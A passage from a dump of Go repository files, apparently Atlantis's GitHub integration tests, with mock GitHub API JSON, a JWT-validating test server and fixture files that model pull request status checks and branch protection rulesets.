\"https://api.github.com/users/octocat/received_events\",\n\t\t\t\t\"type\":                \"User\",\n\t\t\t\t\"site_admin\":          false\n\t\t\t},\n\t\t\t\"private\":           false,\n\t\t\t\"html_url\":          \"https://github.com/octocat/Hello-World\",\n\t\t\t\"description\":       \"This your first repo!\",\n\t\t\t\"fork\":              false,\n\t\t\t\"url\":               \"https://api.github.com/repos/octocat/Hello-World\",\n\t\t\t\"archive_url\":       \"http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}\",\n\t\t\t\"assignees_url\":     \"http://api.github.com/repos/octocat/Hello-World/assignees{/user}\",\n\t\t\t\"blobs_url\":         \"http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}\",\n\t\t\t\"branches_url\":      \"http://api.github.com/repos/octocat/Hello-World/branches{/branch}\",\n\t\t\t\"collaborators_url\": \"http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}\",\n\t\t\t\"comments_url\":      \"http://api.github.com/repos/octocat/Hello-World/comments{/number}\",\n\t\t\t\"commits_url\":       \"http://api.github.com/repos/octocat/Hello-World/commits{/sha}\",\n\t\t\t\"compare_url\":       \"http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}\",\n\t\t\t\"contents_url\":      \"http://api.github.com/repos/octocat/Hello-World/contents/{+path}\",\n\t\t\t\"contributors_url\":  \"http://api.github.com/repos/octocat/Hello-World/contributors\",\n\t\t\t\"deployments_url\":   \"http://api.github.com/repos/octocat/Hello-World/deployments\",\n\t\t\t\"downloads_url\":     \"http://api.github.com/repos/octocat/Hello-World/downloads\",\n\t\t\t\"events_url\":        \"http://api.github.com/repos/octocat/Hello-World/events\",\n\t\t\t\"forks_url\":         \"http://api.github.com/repos/octocat/Hello-World/forks\",\n\t\t\t\"git_commits_url\":   \"http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}\",\n\t\t\t\"git_refs_url\":      \"http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}\",\n\t\t\t\"git_tags_url\":      \"http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}\",\n\t\t\t\"git_url\":           \"git:github.com/octocat/Hello-World.git\",\n\t\t\t\"issue_comment_url\": \"http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}\",\n\t\t\t\"issue_events_url\":  \"http://api.github.com/repos/octocat/Hello-World/issues/events{/number}\",\n\t\t\t\"issues_url\":        \"http://api.github.com/repos/octocat/Hello-World/issues{/number}\",\n\t\t\t\"keys_url\":          \"http://api.github.com/repos/octocat/Hello-World/keys{/key_id}\",\n\t\t\t\"labels_url\":        \"http://api.github.com/repos/octocat/Hello-World/labels{/name}\",\n\t\t\t\"languages_url\":     \"http://api.github.com/repos/octocat/Hello-World/languages\",\n\t\t\t\"merges_url\":        \"http://api.github.com/repos/octocat/Hello-World/merges\",\n\t\t\t\"milestones_url\":    \"http://api.github.com/repos/octocat/Hello-World/milestones{/number}\",\n\t\t\t\"notifications_url\": \"http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}\",\n\t\t\t\"pulls_url\":         \"http://api.github.com/repos/octocat/Hello-World/pulls{/number}\",\n\t\t\t\"releases_url\":      \"http://api.github.com/repos/octocat/Hello-World/releases{/id}\",\n\t\t\t\"ssh_url\":           \"git@github.com:octocat/Hello-World.git\",\n\t\t\t\"stargazers_url\":    \"http://api.github.com/repos/octocat/Hello-World/stargazers\",\n\t\t\t\"statuses_url\":      \"http://api.github.com/repos/octocat/Hello-World/statuses/{sha}\",\n\t\t\t\"subscribers_url\":   \"http://api.github.com/repos/octocat/Hello-World/subscribers\",\n\t\t\t\"subscription_url\":  \"http://api.github.com/repos/octocat/Hello-World/subscription\",\n\t\t\t\"tags_url\":          \"http://api.github.com/repos/octocat/Hello-World/tags\",\n\t\t\t\"teams_url\":         \"http://api.github.com/repos/octocat/Hello-World/teams\",\n\t\t\t\"trees_url\":         \"http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}\",\n\t\t\t\"clone_url\":         \"https://github.com/octocat/Hello-World.git\",\n\t\t\t\"mirror_url\":        \"git:git.example.com/octocat/Hello-World\",\n\t\t\t\"hooks_url\":         \"http://api.github.com/repos/octocat/Hello-World/hooks\",\n\t\t\t\"svn_url\":           \"https://svn.github.com/octocat/Hello-World\",\n\t\t\t\"homepage\":          \"https://github.com\",\n\t\t\t\"language\":          null,\n\t\t\t\"forks_count\":       9,\n\t\t\t\"stargazers_count\":  80,\n\t\t\t\"watchers_count\":    80,\n\t\t\t\"size\":              108,\n\t\t\t\"default_branch\":    \"main\",\n\t\t\t\"open_issues_count\": 0,\n\t\t\t\"is_template\":       true,\n\t\t\t\"topics\": [\n\t\t\t\t\"octocat\",\n\t\t\t\t\"atom\",\n\t\t\t\t\"electron\",\n\t\t\t\t\"api\"\n\t\t\t],\n\t\t\t\"has_issues\":    true,\n\t\t\t\"has_projects\":  true,\n\t\t\t\"has_wiki\":      true,\n\t\t\t\"has_pages\":     false,\n\t\t\t\"has_downloads\": true,\n\t\t\t\"archived\":      false,\n\t\t\t\"disabled\":      false,\n\t\t\t\"visibility\":    \"public\",\n\t\t\t\"pushed_at\":     \"2011-01-26T19:06:43Z\",\n\t\t\t\"created_at\":    \"2011-01-26T19:01:12Z\",\n\t\t\t\"updated_at\":    \"2011-01-26T19:14:43Z\",\n\t\t\t\"permissions\": {\n\t\t\t\t\"admin\": false,\n\t\t\t\t\"push\":  false,\n\t\t\t\t\"pull\":  true\n\t\t\t},\n\t\t\t\"allow_rebase_merge\":  true,\n\t\t\t\"template_repository\": null,\n\t\t\t\"temp_clone_token\":    \"ABTLWHOULUVAXGTRYU7OC2876QJ2O\",\n\t\t\t\"allow_squash_merge\":  true,\n\t\t\t\"allow_merge_commit\":  true,\n\t\t\t\"subscribers_count\":   42,\n\t\t\t\"network_count\":       0\n\t\t}\n\t]\n}`\n\nvar appJSON = `{\n\t\"id\": 1,\n\t\"slug\": \"octoapp\",\n\t\"node_id\": \"MDExOkludGVncmF0aW9uMQ==\",\n\t\"owner\": {\n\t  \"login\": \"github\",\n\t  \"id\": 1,\n\t  \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjE=\",\n\t  \"url\": \"https://api.github.com/orgs/github\",\n\t  \"repos_url\": \"https://api.github.com/orgs/github/repos\",\n\t  \"events_url\": \"https://api.github.com/orgs/github/events\",\n\t  \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n\t  \"gravatar_id\": \"\",\n\t  \"html_url\": \"https://github.com/octocat\",\n\t  \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n\t  \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n\t  \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n\t  \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n\t  \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n\t  \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n\t  \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n\t  \"type\": \"User\",\n\t  \"site_admin\": true\n\t},\n\t\"name\": \"Octocat App\",\n\t\"description\": \"\",\n\t\"external_url\": \"https://example.com\",\n\t\"html_url\": \"https://github.com/apps/octoapp\",\n\t\"created_at\": \"2017-07-08T16:18:44-04:00\",\n\t\"updated_at\": \"2017-07-08T16:18:44-04:00\",\n\t\"permissions\": {\n\t  \"metadata\": \"read\",\n\t  \"contents\": \"read\",\n\t  \"issues\": \"write\",\n\t  \"single_file\": \"write\"\n\t},\n\t\"events\": [\n\t  \"push\",\n\t  \"pull_request\"\n\t]\n  }`\n\nfunc validateToken(tokenString string) error {\n\tkey, err := jwt.ParseRSAPrivateKeyFromPEM([]byte(PrivateKey))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse private key: %s\", err)\n\t}\n\n\ttoken, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {\n\t\t// Don't forget to validate the alg is what you expect:\n\t\tif _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {\n\t\t\terr := fmt.Errorf(\"Unexpected signing method: %v\", token.Header[\"alg\"])\n\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn key.Public(), nil\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif claims, ok := token.Claims.(jwt.MapClaims); !ok || !token.Valid || claims[\"iss\"] != \"1\" {\n\t\treturn fmt.Errorf(\"Invalid token\")\n\t}\n\treturn nil\n}\n\nfunc GithubAppTestServer(t *testing.T) (string, error) {\n\tcounter := 0\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v3/app-manifests/good-code/conversions\":\n\t\t\t\tencodedKey := strings.Join(strings.Split(PrivateKey, \"\\n\"), \"\\\\n\")\n\t\t\t\tappInfo := fmt.Sprintf(conversionJSON, encodedKey)\n\t\t\t\tw.Write([]byte(appInfo)) // nolint: errcheck\n\t\t\t// https://developer.github.com/v3/apps/#list-installations\n\t\t\tcase \"/api/v3/app/installations\":\n\t\t\t\ttoken := strings.Replace(r.Header.Get(\"Authorization\"), \"Bearer \", \"\", 1)\n\t\t\t\tif err := validateToken(token); err != nil {\n\t\t\t\t\tw.WriteHeader(403)\n\t\t\t\t\tw.Write([]byte(\"Invalid token\")) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tw.Write([]byte(appInstallationJSON)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tcase \"/api/v3/apps/some-app\":\n\t\t\t\ttoken := strings.Replace(r.Header.Get(\"Authorization\"), \"token \", \"\", 1)\n\n\t\t\t\t// token is taken from appTokenJSON\n\t\t\t\tif token != \"some-token\" {\n\t\t\t\t\tw.WriteHeader(403)\n\t\t\t\t\tw.Write([]byte(\"Invalid installation token\")) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tw.Write([]byte(appJSON)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tcase \"/api/v3/app/installations/1/access_tokens\":\n\t\t\t\ttoken := strings.Replace(r.Header.Get(\"Authorization\"), \"Bearer \", \"\", 1)\n\t\t\t\tif err := validateToken(token); err != nil {\n\t\t\t\t\tw.WriteHeader(403)\n\t\t\t\t\tw.Write([]byte(\"Invalid token\")) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tappToken := fmt.Sprintf(appTokenJSON, counter)\n\t\t\t\tcounter++\n\t\t\t\tw.Write([]byte(appToken)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\n\treturn testServerURL.Host, err\n}\n\nfunc GithubMultipleAppTestServer(t *testing.T) (string, error) {\n\tcounter := 0\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v3/app-manifests/good-code/conversions\":\n\t\t\t\tencodedKey := strings.Join(strings.Split(PrivateKey, \"\\n\"), \"\\\\n\")\n\t\t\t\tappInfo := fmt.Sprintf(conversionJSON, encodedKey)\n\t\t\t\tw.Write([]byte(appInfo)) // nolint: errcheck\n\t\t\t// https://developer.github.com/v3/apps/#list-installations\n\t\t\tcase \"/api/v3/app/installations\":\n\t\t\t\ttoken := strings.Replace(r.Header.Get(\"Authorization\"), \"Bearer \", \"\", 1)\n\t\t\t\tif err := validateToken(token); err != nil {\n\t\t\t\t\tw.WriteHeader(403)\n\t\t\t\t\tw.Write([]byte(\"Invalid token\")) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tw.Write([]byte(appMultipleInstallationJSON)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tcase \"/api/v3/apps/some-app\":\n\t\t\t\ttoken := strings.Replace(r.Header.Get(\"Authorization\"), \"token \", \"\", 1)\n\n\t\t\t\t// token is taken from appTokenJSON\n\t\t\t\tif token != \"some-token\" {\n\t\t\t\t\tw.WriteHeader(403)\n\t\t\t\t\tw.Write([]byte(\"Invalid installation token\")) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tw.Write([]byte(appJSON)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tcase \"/api/v3/app/installations/1/access_tokens\":\n\t\t\t\ttoken := strings.Replace(r.Header.Get(\"Authorization\"), \"Bearer \", \"\", 1)\n\t\t\t\tif err := validateToken(token); err != nil {\n\t\t\t\t\tw.WriteHeader(403)\n\t\t\t\t\tw.Write([]byte(\"Invalid token\")) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tappToken := fmt.Sprintf(appTokenJSON, counter)\n\t\t\t\tcounter++\n\t\t\t\tw.Write([]byte(appToken)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\n\treturn testServerURL.Host, err\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/branch-protection-expected.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": [\n              {\n                \"context\": \"atlantis/apply\"\n              },\n              {\n                \"context\": \"my-required-expected-check\"\n              }\n            ]\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": []\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/branch-protection-failed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": [\n              {\n                \"context\": \"atlantis/apply\"\n              },\n              {\n                \"context\": \"my-required-expected-check\"\n              }\n            ]\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": []\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"my-required-expected-check\",\n                        \"state\": \"FAILED\",\n                        \"isRequired\": true\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/branch-protection-passed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": [\n              {\n                \"context\": \"atlantis/apply\"\n              },\n              {\n                \"context\": \"my-required-expected-check\"\n              }\n            ]\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": []\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"my-required-expected-check\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": true\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/repository-id.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"databaseId\": 120519269\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-atlantis-apply-expected.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": []\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-atlantis-apply-pending.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-expected.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"my-required-expected-check\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-failed-other-atlantis.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"other-atlantis/apply\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"other-atlantis/apply\",\n                        \"state\": \"FAILED\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"other-atlantis/apply\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-failed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"my-required-expected-check\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"my-required-expected-check\",\n                        \"state\": \"FAILED\",\n                        \"isRequired\": true\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-neutral.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"my-required-expected-check\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my-required-expected-check\",\n                        \"conclusion\": \"NEUTRAL\",\n                        \"isRequired\": true\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-passed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"my-required-expected-check\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"my-required-expected-check\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": true\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-pending-other-atlantis.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"other-atlantis/apply\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    